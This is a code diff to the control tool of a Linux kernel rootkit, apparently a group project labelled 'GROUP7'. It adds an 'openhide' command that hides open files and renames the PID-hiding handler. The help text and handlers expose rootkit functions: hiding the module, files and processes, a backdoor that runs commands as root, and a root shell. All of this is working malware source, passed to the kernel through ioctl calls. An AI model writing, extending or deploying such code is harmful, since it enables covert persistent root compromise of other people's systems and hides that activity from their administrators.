- if (ARGVCMP(2, "on"))
- return (cmd_t){ handle_filehide, (void *)1 };
+ if (ARGVCMP(3, "toggle"))
+ return (cmd_t){ handle_openhide, (void *)0 };
- if (ARGVCMP(2, "off"))
- return (cmd_t){ handle_filehide, (void *)-1 };
+ if (ARGVCMP(3, "on"))
+ return (cmd_t){ handle_openhide, (void *)1 };
+
+ if (ARGVCMP(3, "off"))
+ return (cmd_t){ handle_openhide, (void *)-1 };
+ } else {
+ if (ARGVCMP(2, "toggle"))
+ return (cmd_t){ handle_filehide, (void *)0 };
+
+ if (ARGVCMP(2, "on"))
+ return (cmd_t){ handle_filehide, (void *)1 };
+
+ if (ARGVCMP(2, "off"))
+ return (cmd_t){ handle_filehide, (void *)-1 };
+ }
}
if (ARGVCMP(1, "backdoor")) {
@@ -87,10 +100,10 @@ parse_input(int argc, char **argv)
long arg;
if ((arg = strtol(argv[3], NULL, 10))) {
if (ARGVCMP(2, "add"))
- return (cmd_t){ handle_hidepid, (void *)(arg) };
+ return (cmd_t){ handle_pidhide, (void *)(arg) };
if (ARGVCMP(2, "rm"))
- return (cmd_t){ handle_hidepid, (void *)((-1) * (arg)) };
+ return (cmd_t){ handle_pidhide, (void *)((-1) * (arg)) };
} else {
fprintf(stderr, "%s: invalid pid `%s`\n", progname, argv[3]);
exit(1);
@@ -98,7 +111,7 @@ parse_input(int argc, char **argv)
}
if (ARGVCMP(1, "hidepid-off"))
- return (cmd_t){ handle_hidepid, (void *)0 };
+ return (cmd_t){ handle_pidhide, (void *)0 };
help();
exit(1);
@@ -123,6 +136,12 @@ handle_filehide(void *arg)
}
int
+handle_openhide(void *arg)
+{
+ return issue_ioctl(G7_OPENHIDE, (const char *)arg);
+}
+
+int
handle_backdoor(void *arg)
{
return issue_ioctl(G7_BACKDOOR, (const char *)arg);
@@ -160,9 +179,9 @@ handle_togglebd(void *arg)
}
int
-handle_hidepid(void *arg)
+handle_pidhide(void *arg)
{
- return issue_ioctl(G7_HIDEPID, (const char *)arg);
+ return issue_ioctl(G7_PIDHIDE, (const char *)arg);
}
int
@@ -192,7 +211,7 @@ help()
printf("%-32s %s\n", "ping", "send an echo request to the rootkit");
printf("%-32s %s\n", "unload", "gracefully unload the rootkit module");
printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module");
- printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files");
+ printf("%-32s %s\n", "filehide [open] <toggle | on | off>", "{,un}hide [open] files");
printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root");
printf("%-32s %s\n", "shell", "obtain a shell as root");
printf("%-32s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or tty (1)");
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -26,6 +26,6 @@ int handle_filehide(void *);
int handle_backdoor(void *);
int handle_shellbd(void *);
int handle_togglebd(void *);
-int handle_hidepid(void *);
+int handle_pidhide(void *);
#endif//_GROUP7_RKCTL_H
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -14,7 +14,7 @@ typedef struct {
bool hiding_module;
bool hiding_files;
bool hiding_pids;
- bool hiding_open_files;
+ bool hiding_open;
bd_state_t backdoor;
} rootkit_t;